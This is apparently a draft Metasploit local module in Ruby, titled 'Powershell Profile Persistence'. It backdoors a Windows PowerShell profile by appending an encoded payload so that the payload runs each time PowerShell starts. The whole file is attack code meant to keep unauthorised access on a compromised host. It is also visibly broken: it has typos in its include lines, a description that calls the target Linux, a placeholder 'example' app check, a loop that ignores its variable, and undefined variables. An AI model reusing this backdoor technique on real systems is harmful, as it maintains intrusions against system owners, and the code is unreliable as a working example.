madefourit
118 lines
4.2 KiB
Ruby
118 lines
4.2 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
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# includes writable?, upload_file, upload_and_chmodx, exploit_data
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include Msf::Post::File
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# includes pwsh
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inlude Msft::Exploit::Powershell
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# includes generate_payload_exe
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include Msf::Exploit::EXE
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# defines install_persistence and does our cleanup
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# WritableDir
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include Msf::Exploit::Local::Persistence
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# runs check automatically
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prepend Msf::Exploit::Remote::AutoCheck
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Powershell Profile Persistence',
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'Description' => %q{
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This exploit sample shows how a persistence module could be written
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for a linux computer.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'madefourit'
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],
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'Platform' => [ 'win' ],
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'Arch' => [ ARCH_CMD ],
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'SessionTypes' => [ 'meterpreter' ],
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'Targets' => [[ 'Auto', {} ]],
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'References' => [
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['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
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['ATT&CK', Mitre::Attack::Technique::T1546_013_POWERSHELL_PROFILE],
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[ 'URL', 'https://pentestlab.blog/2019/11/05/persistence-powershell-profile/']
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],
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'DisclosureDate' => '2019-11-05',
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'DefaultTarget' => 0,
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
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'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
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}
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)
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)
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# options
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register_options [
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OptEnum.new('PROFILE', [true, 'The powershell profile to target.', 'AUTO', ['AUTO', 'ALLUSERSALLHOSTS', 'ALLUSERSCURRENTHOST', 'CURRENTUSERALLHOSTS', 'CURRENTUSERCURRENTHOST']])
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]
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# force exploit is used to bypass the check command results
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register_advanced_options [
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OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
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]
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end
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def check
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# Check a example app is installed
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print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')
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return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
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return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
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return CheckCode::Safe('example app is required') unless command_exists?('example')
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CheckCode::Detected('example app is installed')
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end
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#
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# The install_persistence method installs the persistence, starts the handler, and does all
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# the main activities
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#
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def backdoor_profile(profile_file)
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unless readable?(profile_file)
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print_error("#{profile_file} can not be read")
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return
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end
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pfile = read_file(profile_file)
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backup_file = store_loot(
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'powershell.profile',
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'text/plain',
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session,
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pfile, profile_file.split('\\').last,
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'powershell profile backup'
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)
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print_status("Created #{profile_file} backup: #{backup_file}")
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end
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def install_persistence
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profiles = JSON.parse(cmd_exec('$PROFILE | Select-Object * | ConvertTo-Json;'))
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profiles.transform_keys { |k| k.upcase }
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case datastore['PROFILE']
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when 'AUTO'
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['ALLUSERSALLHOSTS', 'ALLUSERSCURRENTHOST', 'CURRENTUSERALLHOSTS', 'CURRENTUSERCURRENTHOST'].each do |profile|
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unless profiles.key?(datastore['PROFILE'])
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print_error("#{datastore['PROFILE']} not found in user's profiles")
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return
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end
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success = backdoor_profile(profiles[datastore['PROFILE']])
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return if success
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end
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when 'ALLUSERSALLHOSTS', 'ALLUSERSCURRENTHOST', 'CURRENTUSERALLHOSTS','CURRENTUSERCURRENTHOST'
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unless profiles.key?(datastore['PROFILE'])
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print_error("#{datastore['PROFILE']} not found in user's profiles")
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return
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end
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backdoor_profile(profiles[datastore['PROFILE']])
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append_file(profile_file, "\n#{payload.encoded}")
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@clean_up_rc << "upload #{backup_file} #{profile_file}\n"
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end
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end
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end
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